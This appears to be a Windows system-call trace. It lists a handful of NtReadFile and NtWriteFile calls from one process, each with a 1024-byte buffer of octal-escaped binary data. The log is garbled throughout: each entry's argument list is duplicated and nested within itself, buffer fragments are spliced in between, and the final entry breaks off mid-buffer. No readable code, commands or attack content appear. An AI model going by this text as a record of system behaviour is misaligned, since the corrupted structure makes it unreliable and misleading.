"\177/Y\34\337\310\0\17g!\232:\\231\233>\32\234=<2\35*\24{C*\26\,S$\10r+./\27\24\17|^UZ\27e,\25>J\30f\274\6??\235\30\36\27\361\0v\312.\6\305\23-\330\251{P\314@"\252\317E26\267\3127BVj\267[b\21m\327*<&>\258`a\244!\256h\27\241)\357\242\254S\36Z\16\272t\7t96\0\263o\2l\203N\273\34\227\260p\222<\'#\240\7I\320'\253\12v\324\331-\241\14O\177M}\203F\260\24Gw\205H\303\22\35\200hbS\341\5/!-#+%)'\231"*\324\11\11>'A1>\3|\35\311\220k\253:\212F~?\332+\233o\37P"\263R$H\246/\264X*;\17\212_/\360\6\200\350E5\266\25\205H:\233\24\365O?\33?\253\315n \1\13\370U%V\7\313X*F\374\2\300^0\341R\305E5\346Wm\321\22;\27d\177 \221\304\2345\335y\205"O\256\305\345\316\257))\3539\254"\3163\264\2240\261\2255\5\370\322Q[\57"?:<}\36;r\231#3$&\245\354) 2A.\15x\246t\25\26S4\255\250(U1z8kn\327\316\251\234\213\27p\30.\263\17\304#\23(B\365%'"++4\363\376c7\312\26OW7\341\244*\246(Ekp\205\10\347\220~\2755W-&\227+\301\356\32/\357\374\3201\272\373\2630ucao\264>;\274\260u\4\2260\330u\26!\26\312+$\200\255\337\253\340*\324\37\355\334\201\307\340\313\315\276\367\274\317\262\307\372<\324<\314\276\227\325\235\376 "\321\207B\256m\177y)\325>\0\361,.\25\316\304I?\32)48;)\277H0", ) \263R$H\246/\264X*;\17\212_/\360\6\200\350E5\266\25\205H:\233\24\365O?\33?\253\315n \1\13\370U%V\7\313X*F\374\2\300^0\341R\305E5\346Wm\321\22;\27d\177 \221\304\2345\335y\205 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\177/Y\34\337\310\0\17g!\232:\\231\233>\32\234=<2\35*\24{C*\26\,S$\10r+./\27\24\17|^UZ\27e,\25>J\30f\274\6??\235\30\36\27\361\0v\312.\6\305\23-\330\251{P\314@"\252\317E26\267\3127BVj\267[b\21m\327*<&>\258`a\244!\256h\27\241)\357\242\254S\36Z\16\272t\7t96\0\263o\2l\203N\273\34\227\260p\222<\'#\240\7I\320'\253\12v\324\331-\241\14O\177M}\203F\260\24Gw\205H\303\22\35\200hbS\341\5/!-#+%)'\231"*\324\11\11>'A1>\3|\35\311\220k\253:\212F~?\332+\233o\37P"\263R$H\246/\264X*;\17\212_/\360\6\200\350E5\266\25\205H:\233\24\365O?\33?\253\315n \1\13\370U%V\7\313X*F\374\2\300^0\341R\305E5\346Wm\321\22;\27d\177 \221\304\2345\335y\205"O\256\305\345\316\257))\3539\254"\3163\264\2240\261\2255\5\370\322Q[\57"?:<}\36;r\231#3$&\245\354) 2A.\15x\246t\25\26S4\255\250(U1z8kn\327\316\251\234\213\27p\30.\263\17\304#\23(B\365%'"++4\363\376c7\312\26OW7\341\244*\246(Ekp\205\10\347\220~\2755W-&\227+\301\356\32/\357\374\3201\272\373\2630ucao\264>;\274\260u\4\2260\330u\26!\26\312+$\200\255\337\253\340*\324\37\355\334\201\307\340\313\315\276\367\274\317\262\307\372<\324<\314\276\227\325\235\376 "\321\207B\256m\177y)\325>\0\361,.\25\316\304I?\32)48;)\277H0", ) \3163\264\2240\261\2255\5\370\322Q[\57 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\177/Y\34\337\310\0\17g!\232:\\231\233>\32\234=<2\35*\24{C*\26\,S$\10r+./\27\24\17|^UZ\27e,\25>J\30f\274\6??\235\30\36\27\361\0v\312.\6\305\23-\330\251{P\314@"\252\317E26\267\3127BVj\267[b\21m\327*<&>\258`a\244!\256h\27\241)\357\242\254S\36Z\16\272t\7t96\0\263o\2l\203N\273\34\227\260p\222<\'#\240\7I\320'\253\12v\324\331-\241\14O\177M}\203F\260\24Gw\205H\303\22\35\200hbS\341\5/!-#+%)'\231"*\324\11\11>'A1>\3|\35\311\220k\253:\212F~?\332+\233o\37P"\263R$H\246/\264X*;\17\212_/\360\6\200\350E5\266\25\205H:\233\24\365O?\33?\253\315n \1\13\370U%V\7\313X*F\374\2\300^0\341R\305E5\346Wm\321\22;\27d\177 \221\304\2345\335y\205"O\256\305\345\316\257))\3539\254"\3163\264\2240\261\2255\5\370\322Q[\57"?:<}\36;r\231#3$&\245\354) 2A.\15x\246t\25\26S4\255\250(U1z8kn\327\316\251\234\213\27p\30.\263\17\304#\23(B\365%'"++4\363\376c7\312\26OW7\341\244*\246(Ekp\205\10\347\220~\2755W-&\227+\301\356\32/\357\374\3201\272\373\2630ucao\264>;\274\260u\4\2260\330u\26!\26\312+$\200\255\337\253\340*\324\37\355\334\201\307\340\313\315\276\367\274\317\262\307\372<\324<\314\276\227\325\235\376 "\321\207B\256m\177y)\325>\0\361,.\25\316\304I?\32)48;)\277H0", ) ++4\363\376c7\312\26OW7\341\244*\246(Ekp\205\10\347\220~\2755W-&\227+\301\356\32/\357\374\3201\272\373\2630ucao\264>;\274\260u\4\2260\330u\26!\26\312+$\200\255\337\253\340*\324\37\355\334\201\307\340\313\315\276\367\274\317\262\307\372<\324<\314\276\227\325\235\376  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\177/Y\34\337\310\0\17g!\232:\\231\233>\32\234=<2\35*\24{C*\26\,S$\10r+./\27\24\17|^UZ\27e,\25>J\30f\274\6??\235\30\36\27\361\0v\312.\6\305\23-\330\251{P\314@"\252\317E26\267\3127BVj\267[b\21m\327*<&>\258`a\244!\256h\27\241)\357\242\254S\36Z\16\272t\7t96\0\263o\2l\203N\273\34\227\260p\222<\'#\240\7I\320'\253\12v\324\331-\241\14O\177M}\203F\260\24Gw\205H\303\22\35\200hbS\341\5/!-#+%)'\231"*\324\11\11>'A1>\3|\35\311\220k\253:\212F~?\332+\233o\37P"\263R$H\246/\264X*;\17\212_/\360\6\200\350E5\266\25\205H:\233\24\365O?\33?\253\315n \1\13\370U%V\7\313X*F\374\2\300^0\341R\305E5\346Wm\321\22;\27d\177 \221\304\2345\335y\205"O\256\305\345\316\257))\3539\254"\3163\264\2240\261\2255\5\370\322Q[\57"?:<}\36;r\231#3$&\245\354) 2A.\15x\246t\25\26S4\255\250(U1z8kn\327\316\251\234\213\27p\30.\263\17\304#\23(B\365%'"++4\363\376c7\312\26OW7\341\244*\246(Ekp\205\10\347\220~\2755W-&\227+\301\356\32/\357\374\3201\272\373\2630ucao\264>;\274\260u\4\2260\330u\26!\26\312+$\200\255\337\253\340*\324\37\355\334\201\307\340\313\315\276\367\274\317\262\307\372<\324<\314\276\227\325\235\376 "\321\207B\256m\177y)\325>\0\361,.\25\316\304I?\32)48;)\277H0", ) , ) == 0x0
 01183  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\17~\37\261p:a\4,\232'7\303\22\202\226,\306ny}\226\257\222\210\3a\324\305\322\377!\316\35\27\32\223nf\3^.\31$\326\354\337\214 \320\221\11\316\305a\212\240\265\234r\210\346\350lo3\212\32\355\250,\2|\2\255\250>\213uC\347~\262\317\22\10\315[G\343p\7 :\361X%\361\14\253\205\374\256uYm\320\362\220W\345\3\34\325\5$d\244I:\343&\250\33\332adJ\2Q\317\220d\202\301x\267e\23\30\352\344\311\304\377\321\17l\326\251\230\202sr\241\211\346J\367\16\222\224U\203\233]\363\37\6\276A\255\303\250&e\241\265t\225Y\252%\37I\240\210YD9\335\225;\320\341\14\240\343\253w\257\226JE&\324Sk\33\25/:\214\344:\271\256U~L\36\4\12\336\316\377m4'\313Af\234bU\1\346\334\326\277\5\245"\272-]&\325\231B\337qd\353!\313\365\203\12\255\213\265\261Q$I\316\362\31\202p\222\314\357j\210\225\323\303\\24\26\212\200\225k\265\254-PS\226\225\271\307.\307\230&\37i\242\367\320\354T\256VWm\203\343\2710,\214\301\262\205QI\324\206"\344};\3\241\344K\30!\312\215oYb\363+\346s<\324\220\0|\246/M\11\316\6\347Fk\J\315{\211\271d\216\273A\177P\350\3263\232\214\326W/\317\364\273Au\27\266\13P\2619\240*\275\33\367\324>rw\3345\332\370$|\315\315,\240\16e)\365\12:\237k\375\322j\207\341\337\202@\25\5\360\246\4\331fcoR&\247/\231\21\257\230\260\371\316?Qk\252\224K\31H\341\334\366{\321G\350\325\230z\376\272\10\361*K\0'\2535\373\255Q\22\340(&\12\2026\307\362\262O\202\205\272-\371'\4\234\7,\354\210\230\267\25s", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \272-]&\325\231B\337qd\353!\313\365\203\12\255\213\265\261Q$I\316\362\31\202p\222\314\357j\210\225\323\303\\24\26\212\200\225k\265\254-PS\226\225\271\307.\307\230&\37i\242\367\320\354T\256VWm\203\343\2710,\214\301\262\205QI\324\206 (92, 0, 0, 0, "\17~\37\261p:a\4,\232'7\303\22\202\226,\306ny}\226\257\222\210\3a\324\305\322\377!\316\35\27\32\223nf\3^.\31$\326\354\337\214 \320\221\11\316\305a\212\240\265\234r\210\346\350lo3\212\32\355\250,\2|\2\255\250>\213uC\347~\262\317\22\10\315[G\343p\7 :\361X%\361\14\253\205\374\256uYm\320\362\220W\345\3\34\325\5$d\244I:\343&\250\33\332adJ\2Q\317\220d\202\301x\267e\23\30\352\344\311\304\377\321\17l\326\251\230\202sr\241\211\346J\367\16\222\224U\203\233]\363\37\6\276A\255\303\250&e\241\265t\225Y\252%\37I\240\210YD9\335\225;\320\341\14\240\343\253w\257\226JE&\324Sk\33\25/:\214\344:\271\256U~L\36\4\12\336\316\377m4'\313Af\234bU\1\346\334\326\277\5\245"\272-]&\325\231B\337qd\353!\313\365\203\12\255\213\265\261Q$I\316\362\31\202p\222\314\357j\210\225\323\303\\24\26\212\200\225k\265\254-PS\226\225\271\307.\307\230&\37i\242\367\320\354T\256VWm\203\343\2710,\214\301\262\205QI\324\206"\344};\3\241\344K\30!\312\215oYb\363+\346s<\324\220\0|\246/M\11\316\6\347Fk\J\315{\211\271d\216\273A\177P\350\3263\232\214\326W/\317\364\273Au\27\266\13P\2619\240*\275\33\367\324>rw\3345\332\370$|\315\315,\240\16e)\365\12:\237k\375\322j\207\341\337\202@\25\5\360\246\4\331fcoR&\247/\231\21\257\230\260\371\316?Qk\252\224K\31H\341\334\366{\321G\350\325\230z\376\272\10\361*K\0'\2535\373\255Q\22\340(&\12\2026\307\362\262O\202\205\272-\371'\4\234\7,\354\210\230\267\25s", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01184  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "y(UGQ\245\25KNF\*_I\5]\6\20^T1\24\264\263YQW]\25<#19\6\236M\236\273\243\271\251\313P'|\245!\240Y:\336\203\331/\341\32\313\270\345\276\301\274\322\304\373r\231\376w\233\332\10\335\26\233'\253\325#,\330\244$\243\343e\241%\275m&\265\361\263Q\342\374\262B\244R37o o*N\21h\35J[!2"\241%\216\241)5(+/\271/! 220\2264838:x\213=3;?\30\242\34\20\31(!!\357%+!'+\363\13*"%.,\3300<:415\301970;?9\235\36\33\33\26\337\221 "\3135\256\331&\330\220\1\330h,,\307O\257\355\315\314\370&63\246\201k>\264\17\327\222\34\202\277\27\201\346\13\253#\272U$hg>e\246am\352\306^\267\316\31452P\246:>\346\322b=9\207\243\23\37?\35"q\10'''P!*u/),,{=2\250&1a\322\350\271\32\274m\27\375/>\31(\22\34\241"#V\266 '5(*\264()\4&--\233\200\242\177". 0>2<4:6886:\3043=1?\24\34\22\36\20 .",$*&\330')%+#-!/?1=3;597\3076:4<\375?\264\335B\336\216\25 ,:\243\245\3116&(+\243)\2619F/0\2510\260X\335\217,\31\271h\266x\31&?N\340\307\36\35!\242\346/\251q\2'((\247g\10=\35\3570c\273\177\201\361s\3412;3=1?\4\23\35\21\37/!-#.%L\330@)"\220o-/K\2211", ) \241%\216\241)5(+/\271/! 220\2264838:x\213=3;?\30\242\34\20\31(!!\357%+!'+\363\13* (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "y(UGQ\245\25KNF\*_I\5]\6\20^T1\24\264\263YQW]\25<#19\6\236M\236\273\243\271\251\313P'|\245!\240Y:\336\203\331/\341\32\313\270\345\276\301\274\322\304\373r\231\376w\233\332\10\335\26\233'\253\325#,\330\244$\243\343e\241%\275m&\265\361\263Q\342\374\262B\244R37o o*N\21h\35J[!2"\241%\216\241)5(+/\271/! 220\2264838:x\213=3;?\30\242\34\20\31(!!\357%+!'+\363\13*"%.,\3300<:415\301970;?9\235\36\33\33\26\337\221 "\3135\256\331&\330\220\1\330h,,\307O\257\355\315\314\370&63\246\201k>\264\17\327\222\34\202\277\27\201\346\13\253#\272U$hg>e\246am\352\306^\267\316\31452P\246:>\346\322b=9\207\243\23\37?\35"q\10'''P!*u/),,{=2\250&1a\322\350\271\32\274m\27\375/>\31(\22\34\241"#V\266 '5(*\264()\4&--\233\200\242\177". 0>2<4:6886:\3043=1?\24\34\22\36\20 .",$*&\330')%+#-!/?1=3;597\3076:4<\375?\264\335B\336\216\25 ,:\243\245\3116&(+\243)\2619F/0\2510\260X\335\217,\31\271h\266x\31&?N\340\307\36\35!\242\346/\251q\2'((\247g\10=\35\3570c\273\177\201\361s\3412;3=1?\4\23\35\21\37/!-#.%L\330@)"\220o-/K\2211", ) \3135\256\331&\330\220\1\330h,,\307O\257\355\315\314\370&63\246\201k>\264\17\327\222\34\202\277\27\201\346\13\253#\272U$hg>e\246am\352\306^\267\316\31452P\246:>\346\322b=9\207\243\23\37?\35 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "y(UGQ\245\25KNF\*_I\5]\6\20^T1\24\264\263YQW]\25<#19\6\236M\236\273\243\271\251\313P'|\245!\240Y:\336\203\331/\341\32\313\270\345\276\301\274\322\304\373r\231\376w\233\332\10\335\26\233'\253\325#,\330\244$\243\343e\241%\275m&\265\361\263Q\342\374\262B\244R37o o*N\21h\35J[!2"\241%\216\241)5(+/\271/! 220\2264838:x\213=3;?\30\242\34\20\31(!!\357%+!'+\363\13*"%.,\3300<:415\301970;?9\235\36\33\33\26\337\221 "\3135\256\331&\330\220\1\330h,,\307O\257\355\315\314\370&63\246\201k>\264\17\327\222\34\202\277\27\201\346\13\253#\272U$hg>e\246am\352\306^\267\316\31452P\246:>\346\322b=9\207\243\23\37?\35"q\10'''P!*u/),,{=2\250&1a\322\350\271\32\274m\27\375/>\31(\22\34\241"#V\266 '5(*\264()\4&--\233\200\242\177". 0>2<4:6886:\3043=1?\24\34\22\36\20 .",$*&\330')%+#-!/?1=3;597\3076:4<\375?\264\335B\336\216\25 ,:\243\245\3116&(+\243)\2619F/0\2510\260X\335\217,\31\271h\266x\31&?N\340\307\36\35!\242\346/\251q\2'((\247g\10=\35\3570c\273\177\201\361s\3412;3=1?\4\23\35\21\37/!-#.%L\330@)"\220o-/K\2211", ) #V\266 '5(*\264()\4&--\233\200\242\177330]6\3528?f \33\3\35\21\37/!-#+%)'')\325$, (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "y(UGQ\245\25KNF\*_I\5]\6\20^T1\24\264\263YQW]\25<#19\6\236M\236\273\243\271\251\313P'|\245!\240Y:\336\203\331/\341\32\313\270\345\276\301\274\322\304\373r\231\376w\233\332\10\335\26\233'\253\325#,\330\244$\243\343e\241%\275m&\265\361\263Q\342\374\262B\244R37o o*N\21h\35J[!2"\241%\216\241)5(+/\271/! 220\2264838:x\213=3;?\30\242\34\20\31(!!\357%+!'+\363\13*"%.,\3300<:415\301970;?9\235\36\33\33\26\337\221 "\3135\256\331&\330\220\1\330h,,\307O\257\355\315\314\370&63\246\201k>\264\17\327\222\34\202\277\27\201\346\13\253#\272U$hg>e\246am\352\306^\267\316\31452P\246:>\346\322b=9\207\243\23\37?\35"q\10'''P!*u/),,{=2\250&1a\322\350\271\32\274m\27\375/>\31(\22\34\241"#V\266 '5(*\264()\4&--\233\200\242\177". 0>2<4:6886:\3043=1?\24\34\22\36\20 .",$*&\330')%+#-!/?1=3;597\3076:4<\375?\264\335B\336\216\25 ,:\243\245\3116&(+\243)\2619F/0\2510\260X\335\217,\31\271h\266x\31&?N\340\307\36\35!\242\346/\251q\2'((\247g\10=\35\3570c\273\177\201\361s\3412;3=1?\4\23\35\21\37/!-#.%L\330@)"\220o-/K\2211", ) ,$*&\330')%+#-!/?1=3;597\3076:4<\375?\264\335B\336\216\25 ,:\243\245\3116&(+\243)\2619F/0\2510\260X\335\217,\31\271h\266x\31&?N\340\307\36\35!\242\346/\251q\2'((\247g\10=\35\3570c\273\177\201\361s\3412;3=1?\4\23\35\21\37/!-#.%L\330@) (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "y(UGQ\245\25KNF\*_I\5]\6\20^T1\24\264\263YQW]\25<#19\6\236M\236\273\243\271\251\313P'|\245!\240Y:\336\203\331/\341\32\313\270\345\276\301\274\322\304\373r\231\376w\233\332\10\335\26\233'\253\325#,\330\244$\243\343e\241%\275m&\265\361\263Q\342\374\262B\244R37o o*N\21h\35J[!2"\241%\216\241)5(+/\271/! 220\2264838:x\213=3;?\30\242\34\20\31(!!\357%+!'+\363\13*"%.,\3300<:415\301970;?9\235\36\33\33\26\337\221 "\3135\256\331&\330\220\1\330h,,\307O\257\355\315\314\370&63\246\201k>\264\17\327\222\34\202\277\27\201\346\13\253#\272U$hg>e\246am\352\306^\267\316\31452P\246:>\346\322b=9\207\243\23\37?\35"q\10'''P!*u/),,{=2\250&1a\322\350\271\32\274m\27\375/>\31(\22\34\241"#V\266 '5(*\264()\4&--\233\200\242\177". 0>2<4:6886:\3043=1?\24\34\22\36\20 .",$*&\330')%+#-!/?1=3;597\3076:4<\375?\264\335B\336\216\25 ,:\243\245\3116&(+\243)\2619F/0\2510\260X\335\217,\31\271h\266x\31&?N\340\307\36\35!\242\346/\251q\2'((\247g\10=\35\3570c\273\177\201\361s\3412;3=1?\4\23\35\21\37/!-#.%L\330@)"\220o-/K\2211", ) , ) == 0x0
 01185  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\361hW/\363W\2621[\314\373\340\321D\247\343X\330\205\376.s\235\337\202\336'\360\267}\2~\334K:\267m\241\273\201,\222\214\313\305\12"\252[\7\226\340|\311A\206\302\7\235-5m\354g\33\335\330E[+J\25\24Z*\337\300\271\256c\313\202F\253_vAF\200\226^s^\310\321\33\322\10W\3303\225\265\364\346q\324N\345r\256\310\314\306\346Y`\200\224\262\365\364\272\36\312\360\274\316\377\207\317\377\331e\262\340\37736\206U\334\171\327\226\231\223\264\350\200\200\227<\377\360\236\252\200\0\353F\377\213v"js\331\261>\6\303\220\4\204\233/\320\220\366\363\255\372<\35\246\357al\201\347\37w\2\213\213\334\303^\204\250\24\2103\327\301I\352\331\201\211\235\266p\277\267-}a\271\7_\2749A\1\326\2\20\2549\14\2655\215\351\346\240d\312\304\263\234\377\351\212\335ya\35\210\305\320\250\244\317\17\261\317=l\240W"\344\355\302\233\314#I\3612'/\251_\207n\242r\237\277\23\365\343\201L\240\27@2\246}\376\350U\221\266h\274\254y=_\256\315|\3328"\372JeX\335\344\300\22&e[I'\245\3\223\377\235\277\265\3\307C\232\2367T\312m\37\373Z\26\226_\224\200\6 \317 \204\315\206-\11\305\217\352\360\237\247\242'\340\262\261\352\321,m", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \252251\224^~w.\314\334\344\325Z\232\34\3256x\201\365m\215\236\344\333\236TE\374\343L\25w\264\10\16\305\207\252\361BI\246_\3775\351\273\377\223Jt\342\300\34\320~F\337\3705\202hOvy;U\2571n\237Xk\360\305\3070.K\10wV-F\241\254\371\363\261[\327\256g\267/\361hE\367\13\331\334\220\343\275d7\375b\177\343\215Cx\16c\324_\242g5\250l\205>[\7\226\340|\311A\206\302\7\235-5m\354g\33\335\330E[+J\25\24Z*\337\300\271\256c\313\202F\253_vAF\200\226^s^\310\321\33\322\10W\3303\225\265\364\346q\324N\345r\256\310\314\306\346Y`\200\224\262\365\364\272\36\312\360\274\316\377\207\317\377\331e\262\340\37736\206U\334\171\327\226\231\223\264\350\200\200\227<\377\360\236\252\200\0\353F\377\213v (92, 0, 0, 0, "\361hW/\363W\2621[\314\373\340\321D\247\343X\330\205\376.s\235\337\202\336'\360\267}\2~\334K:\267m\241\273\201,\222\214\313\305\12"\252[\7\226\340|\311A\206\302\7\235-5m\354g\33\335\330E[+J\25\24Z*\337\300\271\256c\313\202F\253_vAF\200\226^s^\310\321\33\322\10W\3303\225\265\364\346q\324N\345r\256\310\314\306\346Y`\200\224\262\365\364\272\36\312\360\274\316\377\207\317\377\331e\262\340\37736\206U\334\171\327\226\231\223\264\350\200\200\227<\377\360\236\252\200\0\353F\377\213v"js\331\261>\6\303\220\4\204\233/\320\220\366\363\255\372<\35\246\357al\201\347\37w\2\213\213\334\303^\204\250\24\2103\327\301I\352\331\201\211\235\266p\277\267-}a\271\7_\2749A\1\326\2\20\2549\14\2655\215\351\346\240d\312\304\263\234\377\351\212\335ya\35\210\305\320\250\244\317\17\261\317=l\240W"\344\355\302\233\314#I\3612'/\251_\207n\242r\237\277\23\365\343\201L\240\27@2\246}\376\350U\221\266h\274\254y=_\256\315|\3328"\372JeX\335\344\300\22&e[I'\245\3\223\377\235\277\265\3\307C\232\2367T\312m\37\373Z\26\226_\224\200\6 \317 \204\315\206-\11\305\217\352\360\237\247\242'\340\262\261\352\321,m", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \344\355\302\233\314#I\3612'/\251_\207n\242r\237\277\23\365\343\201L\240\27@2\246}\376\350U\221\266h\274\254y=_\256\315|\3328 (92, 0, 0, 0, "\361hW/\363W\2621[\314\373\340\321D\247\343X\330\205\376.s\235\337\202\336'\360\267}\2~\334K:\267m\241\273\201,\222\214\313\305\12"\252[\7\226\340|\311A\206\302\7\235-5m\354g\33\335\330E[+J\25\24Z*\337\300\271\256c\313\202F\253_vAF\200\226^s^\310\321\33\322\10W\3303\225\265\364\346q\324N\345r\256\310\314\306\346Y`\200\224\262\365\364\272\36\312\360\274\316\377\207\317\377\331e\262\340\37736\206U\334\171\327\226\231\223\264\350\200\200\227<\377\360\236\252\200\0\353F\377\213v"js\331\261>\6\303\220\4\204\233/\320\220\366\363\255\372<\35\246\357al\201\347\37w\2\213\213\334\303^\204\250\24\2103\327\301I\352\331\201\211\235\266p\277\267-}a\271\7_\2749A\1\326\2\20\2549\14\2655\215\351\346\240d\312\304\263\234\377\351\212\335ya\35\210\305\320\250\244\317\17\261\317=l\240W"\344\355\302\233\314#I\3612'/\251_\207n\242r\237\277\23\365\343\201L\240\27@2\246}\376\350U\221\266h\274\254y=_\256\315|\3328"\372JeX\335\344\300\22&e[I'\245\3\223\377\235\277\265\3\307C\232\2367T\312m\37\373Z\26\226_\224\200\6 \317 \204\315\206-\11\305\217\352\360\237\247\242'\340\262\261\352\321,m", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01186  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "9\264\256\37<\231>\21\352"\37\32\341\"3\0\11\371&"\316\351*\252/\212f0!o\3465?.19<9r>H\20{\32\31\204\306\37<\265\260\0%/9))x \245\272\335'\177:\2018ad]\305>>KZ9\14\4V\343\36\34\37>\3405\361\372!\305-J\317Nx\372,X$\306W\260\17\3215\0\5>\275\231[\304\214<\327\267z-\15S-\310\353\262?\2254\352T\\245E[\354\13\332,_AB\203\273\2Ws|:\11k\6\3779\217\35\331\247\36{\14\1VLPDJ'\10ZOEH^\24\170\24V3>FUVV9\0\33RRJ\37hh\235\177mTDF##2J'IP*/bAO/ 0|V@\225\2477:t=z)\355\266\237\20QYS\37!\35nN\365\21\226Eh}*)[BB][\341}!=2\256\12\255H\274\254\0\256S\332\20\30X~Ss\271!&$\326/\177\33\361\355\252\1.\26\256132\260\35697\275\367:8\266\273J\24\32,D\232\337U%\221"\317\2652\252\246v\272N\304\316>(0\265\362<\240\366\262\354L;=(??\263s?\14\365:\353\274\366O$2-&  \350\6>\235+#)^`7\16\225AW:/\230<\231\0o[\276\23\36\3350AyI*\362\305\256?&>\357tIg\3<.`\331,#T\25v.\312:\332<\267;n\33\363{\375 \256$1w\313O$.\377I(j\360Y&{\307\370\322\204\2700\355\17E L1\260j%:\266\16\275\35\365\26\253g>K\257k", ) \37\32\341\ (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "9\264\256\37<\231>\21\352"\37\32\341\"3\0\11\371&"\316\351*\252/\212f0!o\3465?.19<9r>H\20{\32\31\204\306\37<\265\260\0%/9))x \245\272\335'\177:\2018ad]\305>>KZ9\14\4V\343\36\34\37>\3405\361\372!\305-J\317Nx\372,X$\306W\260\17\3215\0\5>\275\231[\304\214<\327\267z-\15S-\310\353\262?\2254\352T\\245E[\354\13\332,_AB\203\273\2Ws|:\11k\6\3779\217\35\331\247\36{\14\1VLPDJ'\10ZOEH^\24\170\24V3>FUVV9\0\33RRJ\37hh\235\177mTDF##2J'IP*/bAO/ 0|V@\225\2477:t=z)\355\266\237\20QYS\37!\35nN\365\21\226Eh}*)[BB][\341}!=2\256\12\255H\274\254\0\256S\332\20\30X~Ss\271!&$\326/\177\33\361\355\252\1.\26\256132\260\35697\275\367:8\266\273J\24\32,D\232\337U%\221"\317\2652\252\246v\272N\304\316>(0\265\362<\240\366\262\354L;=(??\263s?\14\365:\353\274\366O$2-&  \350\6>\235+#)^`7\16\225AW:/\230<\231\0o[\276\23\36\3350AyI*\362\305\256?&>\357tIg\3<.`\331,#T\25v.\312:\332<\267;n\33\363{\375 \256$1w\313O$.\377I(j\360Y&{\307\370\322\204\2700\355\17E L1\260j%:\266\16\275\35\365\26\253g>K\257k", ) \316\351*\252/\212f0!o\3465?.19<9r>H\20{\32\31\204\306\37<\265\260\0%/9))x \245\272\335'\177:\2018ad]\305>>KZ9\14\4V\343\36\34\37>\3405\361\372!\305-J\317Nx\372,X$\306W\260\17\3215\0\5>\275\231[\304\214<\327\267z-\15S-\310\353\262?\2254\352T\\245E[\354\13\332,_AB\203\273\2Ws|:\11k\6\3779\217\35\331\247\36{\14\1VLPDJ'\10ZOEH^\24\170\24V3>FUVV9\0\33RRJ\37hh\235\177mTDF##2J'IP*/bAO/ 0|V@\225\2477:t=z)\355\266\237\20QYS\37!\35nN\365\21\226Eh}*)[BB][\341}!=2\256\12\255H\274\254\0\256S\332\20\30X~Ss\271!&$\326/\177\33\361\355\252\1.\26\256132\260\35697\275\367:8\266\273J\24\32,D\232\337U%\221 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "9\264\256\37<\231>\21\352"\37\32\341\"3\0\11\371&"\316\351*\252/\212f0!o\3465?.19<9r>H\20{\32\31\204\306\37<\265\260\0%/9))x \245\272\335'\177:\2018ad]\305>>KZ9\14\4V\343\36\34\37>\3405\361\372!\305-J\317Nx\372,X$\306W\260\17\3215\0\5>\275\231[\304\214<\327\267z-\15S-\310\353\262?\2254\352T\\245E[\354\13\332,_AB\203\273\2Ws|:\11k\6\3779\217\35\331\247\36{\14\1VLPDJ'\10ZOEH^\24\170\24V3>FUVV9\0\33RRJ\37hh\235\177mTDF##2J'IP*/bAO/ 0|V@\225\2477:t=z)\355\266\237\20QYS\37!\35nN\365\21\226Eh}*)[BB][\341}!=2\256\12\255H\274\254\0\256S\332\20\30X~Ss\271!&$\326/\177\33\361\355\252\1.\26\256132\260\35697\275\367:8\266\273J\24\32,D\232\337U%\221"\317\2652\252\246v\272N\304\316>(0\265\362<\240\366\262\354L;=(??\263s?\14\365:\353\274\366O$2-&  \350\6>\235+#)^`7\16\225AW:/\230<\231\0o[\276\23\36\3350AyI*\362\305\256?&>\357tIg\3<.`\331,#T\25v.\312:\332<\267;n\33\363{\375 \256$1w\313O$.\377I(j\360Y&{\307\370\322\204\2700\355\17E L1\260j%:\266\16\275\35\365\26\253g>K\257k", ) , ) == 0x0
 01187  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\3708\177\2656\13(q@\\354\244p\276\203%\302\345\311\233\336>^z\16\367\21\223\370\241\222\366\240\314\244}\4\342\4\27\274\251"\355\276\364\13\224\337y\324\374\35(K\266\346\351^\363\306\373\315y\201\243\32\12N\22;\236\2\205\327W\212\22_;Rl\355\256\300f\316\311\274\360\334\365u\365\353\341K\226\337\263M\31:,\241\3617\340\333<\210W:\14>\210#1\236\304p\217|\344\265\340\14V\222)\267s\360\257\265P\270.|N:bO\327\335C\226\361k.\304\244\34\306\355k.'\352Rc\14\310\366_\330[\210\321o\36\15o5\3.g\211\316N\177[u\257'\345z\362\367\2477\232\352\354O\341\35\231m\240,\237\234}4\11\207\275d 